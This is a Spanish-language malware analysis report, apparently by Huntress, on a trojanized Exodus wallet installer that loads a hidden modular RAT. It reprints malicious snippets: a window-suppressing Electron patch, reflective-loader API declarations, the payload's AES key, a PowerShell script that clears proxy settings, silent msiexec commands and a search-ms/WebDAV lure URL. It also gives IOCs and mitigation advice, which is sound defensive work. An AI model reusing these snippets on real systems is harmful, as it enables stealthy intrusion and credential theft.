La billetera cripto que nunca se abrió: un instalador de Exodus manipulado esconde un RAT modular

Puntos clave

  • Entre fines de julio y mediados de agosto de 2026, varias organizaciones protegidas por Huntress fueron atacadas por el mismo RAT modular, y tres de ellas fueron atacadas en una ventana de 85 minutos. Se engañó a las víctimas para que descargaran un archivo JavaScript que, en silencio, descargaba un instalador de una billetera cripto Exodus real y funcional, con el RAT escondido en su interior.

  • Los señuelos iniciales se disfrazaron para engañar a las personas y hacer que los ejecutaran: un PDF falso o una actualización de software empaquetada en un archivo ZIP, con contenido sin relación con criptomonedas. Ambos descargan el mismo paquete de Windows Installer (MSI), que se declara a sí mismo como un "Background Service" de "Apple Inc".

  • El "Background Service" instala una billetera de criptomoneda Exodus 24.33.4 genuina, a la que le falta una función clave: cualquier forma de que el usuario interactúe con ella. Solo 3 de sus 1.973 archivos difieren del original, y el paquete no tiene detecciones en VirusTotal.

  • Uno de esos tres archivos impide que la billetera llegue a mostrar una ventana. Otro convierte un archivo fuente legítimo de Exodus en un cargador PE que descifra un payload de 10 MB y lo mapea en memoria de forma manual, sin tocar el disco. Ese payload es el RAT: un VNC oculto y un proxy SOCKS habilitan el acceso remoto y el robo de credenciales del navegador.

  • Aunque el RAT se comunica de forma sigilosa con Azure Table Storage en lugar de con un dominio propio, regresa cada hora mediante una tarea programada, dejando artefactos detectables.

Agradecimientos: Un agradecimiento especial a Tanner Filip por sus contribuciones a esta investigación y a este informe.

Contexto

Uno pensaría que un instalador disfrazado de billetera de criptomoneda busca robar tus monedas. Este instala una versión real de Exodus Wallet 24.33.4, una billetera de criptomoneda disponible en plataformas de escritorio y móviles que permite a los usuarios gestionar activos digitales y criptomonedas como Bitcoin, Ethereum y Solana. El instalador también se esfuerza bastante en asegurarse de que nadie abra nunca la aplicación, y luego va por mucho más.

Entre fines de julio y mediados de agosto de 2026, cuatro organizaciones protegidas por Huntress sin relación entre sí fueron comprometidas por las mismas herramientas. Tres de ellas fueron afectadas el 18 de agosto, con menos de 85 minutos de diferencia entre sí, usando un instalador creado el día anterior.

Las intrusiones no se parecían entre sí al principio. En tres endpoints, alguien abrió lo que creyó que era un documento de trabajo, y Windows lo entregó silenciosamente al intérprete de scripts en su lugar. En una intrusión anterior, el 24 de julio, no hubo ningún documento, solo una tarea programada llamada INetHealth que ejecutaba conhost.exe --headless powershell -e con un bloque en Base64 (la infección fue anterior a la incorporación del endpoint y a la investigación).

Esa detección de julio se interpretó mal al principio; creíamos que se trataba de una intrusión ClickFix, y es fácil entender por qué. conhost.exe --headless es un indicio conocido, porque crea una ventana oculta cuando alguien quiere que un comando se ejecute sin que aparezca nada en pantalla. Pero esta es una función legítima de Windows que usan los desarrolladores, no necesariamente una técnica de ataque, y no dice nada sobre cómo llegó el comando hasta ahí. Aquí ocultaba una tarea programada, y el PowerShell decodificado no descargó nada en absoluto. Volveremos sobre lo que realmente hizo, porque resultó ser la pista más útil de toda la investigación.

Cómo llegó la billetera cripto imposible de abrir

El mismo instalador llegó a las personas de más de una forma. Lo que sigue es lo que observamos, y no debe leerse como una lista completa de lo que este actor tiene disponible.

Figure 1: How an unopenable crypto wallet ends up installing a modular RAT to steal browser credentials

Figura 1: Cómo una billetera de criptomoneda imposible de abrir termina instalando un RAT modular para robar credenciales del navegador

La primera cadena de infección que investigamos fue un PDF falso con un nombre que terminaba en .pdf.js. Por desgracia para la víctima, Windows oculta las extensiones conocidas de forma predeterminada, así que lo que el usuario vio parecía un documento legítimo. Lo descargan y lo abren, Windows resuelve la asociación con .js, y el intérprete de scripts de Windows lo ejecuta. En dos endpoints afectados por esta cadena, el proceso principal era chrome.exe. Así que en ambos casos, el archivo se abrió directamente desde el navegador web una vez completada la descarga.

El JavaScript malicioso es honesto sobre su función. Abre un PDF señuelo real e inofensivo alojado en Storyblok, una red de distribución de contenido legítima, así que la víctima recibe exactamente el documento que esperaba. Sin embargo, en segundo plano, descarga un instalador de Microsoft (MSI), lo escribe en %TEMP%, y lo ejecuta con msiexec /i "%TEMP%\jn0101.msi" /quiet /norestart.

En ambos casos de este método, los señuelos compartían la misma idea. Una víctima abrió un libro electrónico de marketing real, servido desde una plataforma legítima de distribución de contenido. La otra abrió un escrito legal genuino, obtenido en vivo desde la facultad de derecho de una universidad. Todos los documentos que las víctimas vieron realmente eran reales, alojados en un dominio que no tenían motivos para cuestionar.

Luego intenta borrar el MSI cinco segundos después usando setTimeout. Esa función no existe en Windows Script Host, así que la llamada genera un error, un bloque catch vacío absorbe el error, y la limpieza nunca ocurre. El instalador se ejecuta y el dropper permanece en el disco. Vale la pena recordarlo durante la respuesta a incidentes, porque es muy probable que el MSI siga en %TEMP%.

La segunda ruta elimina la doble extensión y usa un archivo comprimido para almacenar el archivo en su lugar. En el caso que observamos, Update_GS_7G0N-254V38L2350.zip se presentaba como una actualización de software, y contenía un único archivo JavaScript con un nombre .js ordinario. El usuario lo abrió directamente desde la vista integrada de carpeta comprimida del Explorador, en lugar de extraerlo primero, verificado a través de la ruta del archivo:

..\Temp\{staging-id}Update_GS_7G0N-254V38L2350.zip.116\Update_GS_7G0N-254V38L2350.js

Cuando los usuarios abren un archivo dentro de un ZIP sin extraerlo, el Explorador coloca silenciosamente ese archivo en una carpeta temporal bajo %LOCALAPPDATA%\Temp\, y luego lo ejecuta desde ahí. Ese fragmento .zip.116\ es la huella que queda.

Desde ahí la cadena conserva su forma pero cambia de escenario. Se abre un PDF señuelo, esta vez un informe legal genuino extraído de law[.]georgetown[.]edu, mientras que msiexec /i "%TEMP%\jg0384.msi" /quiet /norestart instala el payload sin ventana ni avisos.

El cambio de documento señuelo salió mal: un escrito judicial es algo extraño de recibir cuando esperabas una actualización de software, y el usuario se dio cuenta. Su historial del navegador contiene la búsqueda "are JavaScript files spam or Trojan horses".

Los dos nombres de archivo MSI merecen una mención. Una campaña usó jn0101.msi, la otra jg0384.msi. Dos letras y cuatro dígitos, distintos por campaña, así que el nombre del archivo es una etiqueta más que un indicador.

Una ruta que encontramos pero que nadie tomó

Mientras rastreábamos la infraestructura encontramos un tercer método de entrega en la misma dirección IP que sirvió el primer instalador, 35[.]212[.]159[.]20. Visitar us05[.]org, que estaba fuera de línea la última vez que lo revisamos, devolvía un HTTP 302 que apuntaba a un URI de search-ms:

Location: search-ms:displayname=Search Results in update (\\us05.org@8080)&crumb=&crumb=location:\\us05.org@8080\update

search-ms: es un manejador de protocolo legítimo de Windows para la interfaz de búsqueda de archivos. El navegador pregunta "¿Abrir el Explorador de Windows?", y si el usuario acepta, el Explorador abre lo que parece una ventana de resultados de búsqueda común. El contenido no es local. El sufijo @8080 le indica al servicio WebClient que monte la ubicación a través de WebDAV, de modo que los archivos listados en esa ventana residen en el servidor del atacante, y la víctima ejecuta uno haciendo doble clic dentro de una ventana que parece su propio sistema de archivos.

The

Figura 2: El aviso del navegador "¿Abrir el Explorador de Windows?" servido por us05[.]org

The browser handing off to Windows Explorer after the 302 redirect

Figura 3: El navegador cediendo el control al Explorador de Windows después de la redirección 302

Nunca vimos a nadie llegar de esta forma en los entornos de nuestros clientes. Ninguno de los cuatro endpoints con ejecución muestra una ejecución que haya llegado a través de WebDAV, así que trátalo como una capacidad y no como un incidente. Vale la pena documentarlo porque anula toda una clase de detección: no se pega nada, ningún comando en toda la cadena contiene el payload, y la víctima nunca escribe ni copia nada, ni tiene que descargar ningún archivo para que ocurra la ejecución.

Una wallet real con tres archivos maliciosos

El MSI que analizamos pesa 210.767.872 bytes, alrededor de 201 MB, en comparación con el instalador original de 190 MB, lo que refuerza nuestra creencia de que la aplicación fue manipulada. No está firmado, se compiló con WiX Toolset 6.0, y sus metadatos son ficticios:

Manufacturer Apple Inc
ProductName Background Service
ProductVersion 43.4.30


Al momento del análisis, fue detectado por 0 de 76 motores en VirusTotal.

Un MSI puede ejecutar sus propios comandos durante una instalación, además de copiar archivos en su lugar. Este instalador agrega exactamente uno:

LaunchExodus:  [WindowsFolder]explorer.exe "[INSTALLDIR]Exodus.exe"

Lanzar la aplicación a través de explorer.exe en lugar de hacerlo directamente es deliberado. Esto elimina el token elevado de msiexec y, lo más importante, vuelve a asignar el nuevo proceso como hijo del shell en ejecución. En un árbol de procesos, Exodus.exe aparece como hijo de explorer.exe, indistinguible de que el usuario lo haya hecho doble clic él mismo.

INSTALLDIR se resuelve a %APPDATA%\ExdBackupTool\, una ruta por usuario, por lo que toda la instalación se ejecuta sin pedir nunca permisos de administrador. En las tablas del MSI, el nombre corto de ese directorio es flxaoko4, y su carpeta de recursos es yszqzc2s. Recuerda estos nombres: ahí llegan seis archivos.

Cuatro de los seis archivos son el entorno de ejecución Electron genuino para Exodus 24.33.4, todos con marca de tiempo del 2024-08-14. El quinto es un archivo suelto debug.log fechado el 2026-06-10, que se vuelve interesante más adelante. El sexto, app.asar, está fechado el 2026-08-17, el mismo día en que se compiló el instalador.

Dentro de app.asar hay 1.973 archivos, y casi todos son auténticos. La wallet funciona. Se comunica con la infraestructura genuina de Exodus en fiat.a.exodus.io y assets-gateway-clarity-api.a.exodus.io, por lo que el tráfico que sale del endpoint es exactamente el que genera una wallet real. Se calculan los hashes de los archivos, se verifican los dominios, se observa el netflow, y todo responde correctamente.

Lo único que nunca carga es una ventana con la interfaz de usuario.

Encontrar los archivos modificados tomó una sola coincidencia de patrones. Exodus es un producto público, y ningún pipeline de compilación en el mundo emite JavaScript masivo y ofuscado en un paquete de distribución de forma legítima, así que al escanear los 1.973 archivos, el paquete se divide en dos grupos: el grupo limpio y el grupo sospechoso, que tenía tres archivos, y se mantuvo en tres sin importar cuánto buscáramos:

Archivo

Tamaño

Nota

src/app/main/exodus_patch.js

169.907 bytes

Esto no existe en el Exodus genuino

src/app/main/index.js

38.663.100 bytes

Proceso principal, reofuscado

src/app/keyviewer/keystorage.js

50.123.905 bytes

Nombre de archivo legítimo, contenido reemplazado

El tamaño por sí solo lo delata: el archivo legítimo más grande de toda la wallet es el paquete completo de la interfaz de usuario con 16 MB, y ese no fue ofuscado. Un asistente de manejo de claves tres veces más grande, cifrado, no es algo que aparezca por accidente.

Empezando por la puerta principal, el cambio en main/index.js consiste en dos líneas, agregadas antes del runtime webpack original, y apuntan directamente a los otros dos archivos:

require("./exodus_patch");
require("../keyviewer/keystorage.js");

Todo lo que sigue a esas dos líneas es Exodus sin modificar al compararlo con el contenido original. El archivo completo de 38 MB fue reofuscado con el único propósito de ocultar esas dos líneas de texto.

La wallet que nunca abre

Lo primero que decidimos revisar fue el archivo exodus_patch.js, que se distribuye como 169.907 bytes de JavaScript ofuscado. Aunque está inflado, si le quitas el relleno, solo quedan 13 líneas. Aquí está el archivo completo "limpio":

try {

  const path = require('path');

  const { BrowserWindow, app, session } = require('electron');


  app.setPath('userData', path.join(path.dirname(process.execPath), 'Exodus'));


  BrowserWindow.prototype.show  = function () {};

  BrowserWindow.prototype.focus  = function () {};

  BrowserWindow.prototype.center = function () {};


  app.whenReady().then(() =>

    session.defaultSession.setPermissionRequestHandler((wc, permission, cb) => cb(false)));

} catch (e) {}


¿Recuerdas cuando mencionamos que no se abría ninguna ventana? Solo tres asignaciones de código impiden que se cargue.

Normalmente, Electron dibuja una ventana cuando la aplicación llama a show(). Sin embargo, si sobrescribes ese método, junto con focus() y center(), cada ventana que la wallet cree se construye, se conecta y luego se descarta silenciosamente. La ventana no está oculta, no está fuera de pantalla, no tiene tamaño cero, no es transparente. Cada una de esas acciones deja algo que un usuario o una herramienta podría encontrar. Esta nunca se presenta en absoluto. Nada en la barra de tareas, nada a lo que hacer Alt-Tab, nada que cerrar.

El resto del archivo redirige el directorio de datos de la wallet para que quede junto al ejecutable, haciendo que la instalación sea autocontenida, e instala un manejador de permisos que deniega automáticamente cada solicitud de permiso para que nada pueda mostrarle un aviso al usuario.

Lo que queda es una wallet real haciendo cosas reales de wallet contra infraestructura real de wallet, iniciada por Explorer, ejecutándose como el usuario, sin ninguna forma de que ese usuario sepa jamás que está ahí.

VirtualAlloc, escrito en JavaScript: filtrando el relleno

A continuación, revisamos keystorage.js, que es un nombre de archivo real en Exodus, ubicado en el componente de visualización de claves. Su contenido había sido reemplazado por completo, y el reemplazo pesa 50 MB.

La mayor parte de eso no es código real. De 50.123.905 bytes, un solo arreglo representa 50.106.956 de ellos. La lógica real son 16.972 bytes, aproximadamente un tercio del uno por ciento del archivo. Volveremos a qué hay en el arreglo. Primero, cómo obtuvimos esas cifras.

Nada de eso era legible cuando empezamos, pero la ofuscación inflada resultó ser mucho menos ingeniosa de lo que sugiere el tamaño de los archivos, aunque igual muy buena para hacerte perder una tarde entera.

La idea detrás de esto es simple: toma cada fragmento de texto que usa un programa, muévelo todo a una sola lista larga y reemplaza cada uso con una búsqueda. Donde el código decía antes kernel32.dll, ahora dice fetch item 347. El programa se comporta igual. Es probable que un humano que lo lea no lo note, y nada aparecería en una búsqueda.

Lo primero que haría un analista con un paquete de 281 MB es preguntarse "qué hay dentro de esto" y usar grep para averiguarlo. Así que buscamos en los 1.973 archivos la IP de entrega, us05[.]org, storyblok, jn0101 y algunos otros elementos que esperábamos encontrar. Y obtuvimos... cero coincidencias, en un archivo que ya sabíamos que era malicioso. La razón es que el ofuscador divide cada cadena en fragmentos de cinco caracteres y los reensambla en tiempo de ejecución, de modo que un dominio nunca se guarda como tal. Se guarda como 'DcbIz'+'sa' y 40 fragmentos hermanos, dispersos en un arreglo mezclado. Nada de lo que se te ocurriría buscar existe como cadena contigua en ninguna parte del archivo.

Cada cadena en estos archivos se extrae de un arreglo mezclado por índice, y cada índice se escribe como una cadena de operaciones aritméticas hexadecimales. No es array[347], sino una expresión que llega a 347 varios cientos de términos después. En exodus_patch.js la mediana de índices llega a 460 constantes hexadecimales, y la más larga a 1.014. De ahí vienen los megabytes. También significa que los desofuscadores genéricos chocan de frente, porque buscan un índice y se encuentran con un problema matemático. Nuestro primer intento automatizado reportó String Array: no y se rindió. Nuestro segundo intento arrancó, se quedó estancado 15 minutos, y luego se frustró con las matemáticas y falló.

La solución es un solo paso de preprocesamiento. Resuelve la aritmética de antemano y reemplaza cada expresión con el número que siempre iba a producir, y el relleno se evapora: exodus_patch.js baja de 169.907 bytes a 3.349. main/index.js baja de 38,6 MB a 10,8 MB. Así que el 72 por ciento del programa era relleno envuelto alrededor de un paquete genuino de Exodus y dos líneas require() agregadas. Las herramientas que antes se rendían ahora lo atraviesan sin problema, aunque main/index.js todavía necesitó un heap de 12 GB para terminar el trabajo.

keystorage.js tenía una capa más. Sus cadenas salen de tres listas apiladas una dentro de otra. La segunda se construye a partir de la primera, y la tercera a partir de la segunda, así que ninguna puede leerse hasta que se desempaqueta la anterior. 

main/index.js agregó una complicación distinta: su lista se desplaza un número fijo de posiciones cuando el programa arranca, así que el elemento 347 no es el elemento número 347 del archivo. No puedes leer nada de eso hasta que calcules cuánto se movió todo. Lo descubrimos a partir de una dependencia de terceros; la wallet incluye fs-extra, cuyo código fuente lleva un enlace a su propio rastreador de incidencias en GitHub, así que sabíamos que esa cadena tenía que estar en el arreglo en algún lugar. El fragmento en el que terminamos anclándonos fue b.com, cinco caracteres del medio de la URL del rastreador de errores de otra persona. Solo podía decodificarse de una manera, y eso fijó la rotación en exactamente un valor de entre 3.129 candidatos.

Con las cadenas resueltas, el archivo declara sus intenciones en texto plano. Son declaraciones de funciones externas para koffi, una biblioteca de Node.js que permite que JavaScript llame funciones arbitrarias de C, y el Exodus genuino no la incluye:

kernel32.dll   ntdll.dll

void*    GetCurrentProcess()

uint64_t VirtualAlloc(void* a, size_t b, uint32_t c, uint32_t d)

bool     WriteProcessMemory(void* h, uint64_t a, const uint8_t* b, size_t n, void* w)

void*    LoadLibraryA(const char* n)

uint64_t GetProcAddress(void* m, const char* n)

uint64_t GetProcAddress(void* m, uint64_t n)

bool     RtlAddFunctionTable(uint64_t t, uint32_t cnt, uint64_t b)

void*    CreateThread(void* a, size_t b, uint64_t fn, void* p, uint32_t f, uint32_t* id)

void*    CreateMutexA(void* a, int b, const char* n)


Eso es un cargador manual de Portable Executable (PE), o carga reflexiva si prefieres ese nombre, escrito en JavaScript y ejecutándose dentro de una wallet. Reserva memoria, copia una imagen en ella, completa la tabla de direcciones de funciones que Windows normalmente llenaría al cargar, y arranca un hilo en el punto de entrada del payload. 

Se declaran dos firmas de GetProcAddress porque busca funciones de dos maneras: por nombre y por ordinal, que es la posición numerada en la que un DLL las exporta. Las importaciones solo por ordinal son típicas de los payloads empaquetados. Un mutex con nombre, ExodusHelper, impide que arranque una segunda copia. Y la llamada a RtlAddFunctionTable registra las tablas de excepciones de la imagen mapeada, para que el manejo estructurado de excepciones funcione dentro de un módulo que Windows no sabe que existe. Ese no es un detalle que un desarrollador incluiría por accidente.

La biblioteca koffi es también donde empieza a notarse el descuido. Esta compilación incluye 10 de sus binarios precompilados, porque lo instalaron con npm y enviaron lo que npm les dio: Mach-O para Intel y Apple Silicon, ELF para x64 y ARM64, y un solo PE, que es el único que Windows puede cargar. 4,4 MB de eso es utilizable. Los otros 38 MB son código de macOS y Linux inerte dentro de un instalador de Windows, incluido de paso porque nadie recortó el paquete.

Volviendo a ese arreglo. El payload está incrustado directamente en el código fuente como un arreglo hexadecimal de poco más de 10 millones de entradas. Extraído, son 10.021.392 bytes con una entropía de 8,000, es decir, perfectamente uniforme, es decir... cifrado. También se divide exactamente entre 16, 626.337 veces. Entropía perfecta más alineación perfecta de 16 bytes revela el tamaño del bloque antes de encontrar una sola cadena.

La clave salió del mismo arreglo de cadenas que todo lo demás, recuperada mediante el mismo desempaquetado de tres capas que nos dio las declaraciones de funciones. Nunca estuvo mejor oculta que la palabra alloc:

aes-256-cbc
key  SXD9WPcPiVBt76Y09wg/YLDTk/uOOrKWbSmMSrystI8=
iv   3ssyBCFqLnkYA2aJ70rxRw==

Ambas son estáticas y están codificadas de forma fija en el mismo archivo que el texto cifrado que desbloquean, lo que hace esto trivialmente reproducible para cualquiera que quiera verificar nuestro trabajo.

Seis módulos y un buzón muerto en Azure

Una vez descifrado, el blob es un ejecutable PE32+ de 10 MB, compilado el 17/08/2026 a las 15:18:13 UTC, seis minutos antes que el instalador que lo transporta. Nunca toca el disco. No está en VirusTotal.

Un ejecutable de Windows guarda sus instrucciones en una sección y sus datos fijos en otra. Aquí la sección de código, .text, pesa 586 KB. La sección de datos, .rdata, pesa 9,4 MB, 16 veces más grande, y es donde se almacenan las seis DLL de plugins. Cada una exporta su propio nombre. Las seis se compilaron el 14/08/2026 dentro de una ventana de 199 segundos, la primera a las 19:59:08 y la última a las 20:02:27, lo que indica un script de compilación y no una tarde de trabajo:

Módulo

Tamaño en memoria

Capacidad

dll4_cmd.dll

319.488

Ejecución remota de comandos

dll4_fileman.dll

352.256

Explorar, subir, descargar y eliminar archivos

dll4_browser.dll

2.125.824

Robo de credenciales, cookies y extensiones del navegador

dll4_socks.dll

553.984

Proxy SOCKS, que convierte el endpoint en un relevo

dll4_vnc.dll

2.277.376

VNC oculto, escritorio remoto interactivo

dll4_script.dll

3.547.136

Motor de ejecución de scripts


La tabla de importación coincide. El comando y control se ejecuta sobre WebSockets a través de WinHTTP, usando WinHttpWebSocketSend, WinHttpWebSocketReceive y WinHttpWebSocketCompleteUpgrade, con WININET y Winsock sin procesar como alternativas, y bcrypt que da el cifrado del canal. Importa 24 funciones de ntdll, incluidas NtMapViewOfSection y NtProtectVirtualMemory, para cargar más etapas en memoria, y consulta el registro y el nombre de usuario para el reconocimiento del endpoint.

También importa 114 funciones de kernel32 y exactamente seis de user32: 

  • RegisterClassA

  • CreateWindowExA 

  • GetMessageA 

  • TranslateMessage 

  • DispatchMessageA 

  • DefWindowProcA 

Eso es un bucle de mensajes y nada más. Toda la interfaz de usuario de esto es una sola ventana que existe para recibir mensajes y que nunca está pensada para verse. El wallet que la esconde hace el mismo truco una capa más arriba.

El payload está configurado para dos canales de comando y control separados, y solo vimos que se usara uno de ellos.

El primero es una lista de 45 hosts ubicados en un bloque de configuración en .rdata, justo después de un valor de 32 bytes. Siguen un patrón: api., cdn., static., app., o auth. antepuesto a dominios de pequeñas empresas sin relación, de modo que el tráfico hacia ellos se ve como actividad normal de API o CDN en un registro de proxy. Ninguno de estos hosts fue contactado cuando detonamos el payload.

Lo que usó en su lugar fue Azure Table Storage:

POST   https://lgapistorage123.table.core.windows.net/Tables
PUT    .../ftable434(PartitionKey='<bot id>',RowKey='B')
GET    .../ftable434()
PUT    .../ftable434(PartitionKey='<bot id>',RowKey='R_1787147349228709074')
DELETE .../ftable434(PartitionKey='<bot id>',RowKey='T_1787147349228709074')

Eso es un buzón muerto en lugar de un beacon. El PartitionKey es el identificador del bot, las filas con prefijo T_ son tareas asignadas, las filas con prefijo R_ son resultados, y el cliente borra cada tarea una vez que la ha leído. Una segunda cuenta de almacenamiento, winapi.table.core.windows.net, está codificada de forma fija junto a la anterior, pero solo recibió una solicitud de creación de tabla y nada más. No podemos decir, a partir de una sola detonación, si se trata de un respaldo, una cuenta de preparación o un resto sin uso.

No hay ningún dominio ni servidor propiedad del atacante en el trayecto. Dar de baja este canal implica presentar un reporte de abuso ante Microsoft y esperar, y mientras tanto table.core.windows.net no está en ninguna lista de bloqueo.

El reconocimiento es igual de poco llamativo. Desde dentro del proceso del wallet, el payload ejecuta cmd.exe /c chcp 65001 >nul 2>&1 & systeminfo, configurando primero la consola en UTF-8 para que la salida se interprete sin errores.

VNC oculto, un proxy SOCKS y un ladrón de navegador en el mismo paquete no es un kit de robo de criptomonedas. Es acceso interactivo completo con un punto de pivote. El wallet era el disfraz. A alguien le enviaron un libro electrónico de trabajo y terminó con un wallet de criptomonedas instalado en su máquina. Nadie en esa oficina iba a abrir Exodus jamás, que es justamente el punto: el wallet nunca estuvo pensado para usarse, ni para verse, ni para encontrarse.

Vuelve cada hora

El instalador no tiene tabla de Registro, ni tabla de Servicio, ni tabla de Tarea programada. Deja seis archivos y dispara una acción personalizada. Lo que sea que mantiene esto con vida no está en el paquete.

Nuestra telemetría de una de las detecciones de agosto muestra qué es. Cada hora, al minuto 42, svchost.exe ejecuta C:\Users\<user>\AppData\Roaming\ExdBackupTool\Exodus.exe. Ese proceso padre es el Programador de tareas, y la tarea lleva el mismo nombre que el directorio de instalación: ExdBackupTool. El wallet invisible se había estado relanzando todo el día para cuando extrajimos los datos.

Se registró mediante la API COM del Programador de tareas en lugar de schtasks.exe, lo cual vale la pena saber si haces caza de amenazas basada en líneas de comando. No hay ningún proceso que se pueda capturar creándola. La tarea simplemente existe, y lo único que se ve después es que svchost.exe inicia algo desde la carpeta AppData de un usuario una vez por hora. La mayoría de las horas lo registran dos veces, lo cual es o bien telemetría duplicada o un segundo lanzamiento que muere de inmediato contra el mutex ExodusHelper. Los eventos de proceso por sí solos no nos pueden decir cuál de las dos cosas es, y esa es exactamente la función para la que existe ese mutex.

Por qué el proxy se seguía limpiando

Esto nos regresa a la tarea programada INetHealth en el endpoint que detectamos en julio, el mismo que al principio confundimos con ClickFix.

Decodificado, no descarga nada. Hace esto:

$xbzshxel = @'

[DllImport("wininet.dll", SetLastError = true, CharSet=CharSet.Auto)]

public static extern bool InternetSetOption(IntPtr hInternet, int dwOption, IntPtr lpBuffer, int dwBufferLength);

'@

$hapiuysw = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Set-ItemProperty -path $hapiuysw ProxyEnable   -value 0  -ErrorAction Stop

Set-ItemProperty -path $hapiuysw ProxyServer   -value "" -ErrorAction Stop

Set-ItemProperty -path $hapiuysw AutoConfigURL -Value "" -ErrorAction Stop

$miihtwvx = Add-Type -MemberDefinition $xbzshxel -Name syjtmthn -PassThru

$gmsqtp = $miihtwvx::InternetSetOption(0, 39, 0, 0)

$pfoguq = $miihtwvx::InternetSetOption(0, 37, 0, 0)

Vacía la configuración de proxy del usuario y luego llama a InternetSetOption con las opciones 39 y 37, que son INTERNET_OPTION_SETTINGS_CHANGED e INTERNET_OPTION_REFRESH. Cada nombre de variable son ocho letras minúsculas al azar, lo cual ya es una pista razonable por sí sola. Los administradores escriben $proxyKey. Los generadores escriben $hapiuysw, y ese mismo generador nombró el directorio de instalación flxaoko4.

Aislado, esto se lee como una rareza del mantenimiento de TI, lo que probablemente explica por qué lo llamaron INetHealth. En contexto, es inequívoco. El comando y control del payload llama a WinHttpGetIEProxyConfigForCurrentUser, así que su tráfico de WebSocket respeta exactamente esa configuración. Borrarla obliga al beacon a salir por una conexión directa en lugar del proxy corporativo, y forzar que WinINet vuelva a leer su configuración aplica el cambio sin necesidad de cerrar sesión ni reiniciar.

Se ejecuta según un horario porque la política de grupo sigue reimponiendo la configuración del proxy. Este es un operador cuya exfiltración fue inspeccionada o bloqueada al menos una vez, así que escribió un mecanismo de persistencia específicamente para seguir eliminando ese obstáculo.

También dice algo sobre cuánto tiempo llevaba ese endpoint en juego. Una tarea de mantenimiento, escrita para seguir deshaciendo un control que seguía reapareciendo, no es algo que se despliega al entrar. Alguien había estado cuidando esa máquina.

Cuidadosos en los lugares equivocados

debug.log nunca debió estar en el paquete. Es un registro genuino de Chromium de la propia prueba del atacante, y en él consta una ruta de compilación C:\123\exodusUpdater con fecha del 2026-06-10, lo que sitúa el kit en desarrollo al menos seis semanas antes de estas intrusiones. Si se lee con atención, es la mala tarde de alguien: cinco intentos de inicio en un tercio de segundo, todos sin poder cargar chrome_100_percent.pak y resources.pak. Alguien estuvo reiniciando sin parar una compilación que no podía encontrar sus propios recursos, finalmente la hizo funcionar y envió la evidencia de la versión rota junto con la corregida.

Un segundo archivo filtra una ruta de PDB: C:\Users\root\node_modules\@intelcorp\wmi-native-module\build\Release\wmi_native_module.pdb. Eso nos da su directorio de trabajo, su alcance de npm, y el hecho de que compilan como un usuario llamado root en Windows. El alcance @intelcorp suplanta a Intel, y el módulo importa ole32, OLEAUT32 y PROPSYS para el reconocimiento de COM y WMI en el equipo. La misma configuración de ofuscador aparece tanto en el dropper de JavaScript como en los paquetes de wallet, hasta en la nomenclatura de identificadores y el relleno aritmético, así que una sola cadena de herramientas construyó ambos extremos de esto.

Al juntar todo, se forma una imagen extraña. Se trata de alguien que:

  • Registraron un scope de npm que suplanta a Intel

  • Sabían que debían llamar a RtlAddFunctionTable para que una imagen mapeada manualmente aún pudiera lanzar excepciones

  • Resuelven importaciones tanto por ordinal como por nombre

  • Se inician mediante explorer.exe específicamente para que el árbol de procesos parezca un doble clic 

Esos no son movimientos de principiante. La misma persona distribuyó su propio registro de depuración, nunca recortó el paquete de npm y puso 38 MB de binarios de macOS y Linux dentro de un instalador exclusivo para Windows. Tienen cuidado con todo lo que un analista podría detectar en tiempo de ejecución, pero son descuidados con todo lo que queda a la vista en el disco.

Esa brecha es útil para los defensores. El payload rota: se compiló seis minutos antes que el instalador que lo transportaba, y ese instalador llegó a la víctima al día siguiente. VirusTotal muestra que el mismo generador produce ton435.msi con 211.038.208 bytes, dos archivos distintos llamados setup1.msi de aproximadamente 200 MB cada uno, y otro paquete sin nombre de 210.894.848 bytes, todos con cero detecciones en VirusTotal. Un indicador basado en hash expira la próxima vez que ejecuten el script de compilación. Los hábitos no: 

  • Un directorio de instalación por usuario que se inicia mediante explorer.exe 

  • un binario de Electron que se ejecuta sin ventana 

  • un .tmp.node en %TEMP%, un mutex llamado ExodusHelper 

  • una tarea de reinicio autónoma en el código que mantiene la billetera abierta en segundo plano

  • una tarea programada que sigue eliminando la configuración del proxy corporativo 

Esas son decisiones estructurales, costosas de cambiar, y sobreviven a cada recompilación.

Guía de mitigación

Trata cualquier equipo que muestre estos artefactos como un compromiso interactivo completo, no como una infección de malware. El VNC oculto y un módulo SOCKS significan que un operador pudo haber tenido una sesión práctica y haber usado el equipo como punto de pivote. El módulo de navegador implica que las credenciales guardadas y las cookies de sesión deben considerarse robadas, así que revoca las sesiones activas y rota las credenciales en lugar de solo restablecer las contraseñas, ya que una cookie de sesión robada sobrevive a un cambio de contraseña.

Para la prevención, las dos rutas de entrega necesitan respuestas distintas: 

  • Habilitar la visibilidad de extensiones de archivo en el Explorador anula por completo el truco de ocultar la doble extensión .pdf.js, y bloquear o alertar sobre la ejecución de Windows Script Host desde las carpetas de descargas del usuario es un control económico y de alto valor. 

  • La ruta search-ms: se aborda mejor deshabilitando el servicio WebClient donde no se requiere WebDAV, lo que evita que el Explorador monte un recurso compartido remoto presentado como resultados de búsqueda locales, y tratando como sospechosa cualquier solicitud del navegador para abrir el Explorador de Windows.

Si estás limpiando un equipo, recuerda que cada parte de esto es por usuario. El directorio de instalación, la tarea programada y el registro de desinstalación del MSI residen todos bajo un mismo perfil, así que limpiar ese perfil no te dice nada sobre los demás en una máquina compartida. Elimina la tarea ExdBackupTool además del directorio. Eliminar solo los archivos deja una tarea cada hora apuntando a una ruta que ya no existe.

En términos más generales, vale la pena revisar cualquier aplicación que se instale en %APPDATA% y se inicie mediante explorer.exe, sin importar lo que diga ser. La instalación legítima de Exodus se hace en %LOCALAPPDATA%\exodus, así que la ruta de instalación por sí sola distingue esto del producto real.

Indicadores de compromiso (IOC)

Instalador y archivos

Elemento

Descripción

jn0101.msi 

SHA256: c513a7346484ee69a2931c4a89956ee50aa63e4366ef989315e669d8f10d7485

Instalador falso de "Exodus Backup Tool", 210.767.872 bytes, sin firmar, 0/76 en VirusTotal

SHA256: 8c3b41ea5a85778145a6e5772bfee2eb0f8b027d0af199fb71a76dfb8bb29e5a

Payload modular de RAT descifrado, solo residente en memoria, no está en VirusTotal ni se puede subir.

%APPDATA%\ExdBackupTool\

Directorio de instalación. El Exodus genuino se instala en %LOCALAPPDATA%\exodus

app.asar 

Paquete troyanizado de Exodus 24.33.4, 281.876.194 bytes, 3 de 1.973 archivos modificados 

debug.log 

Artefacto de compilación del atacante enviado por error, 1.830 bytes, hace referencia a C:\123\exodusUpdater: 

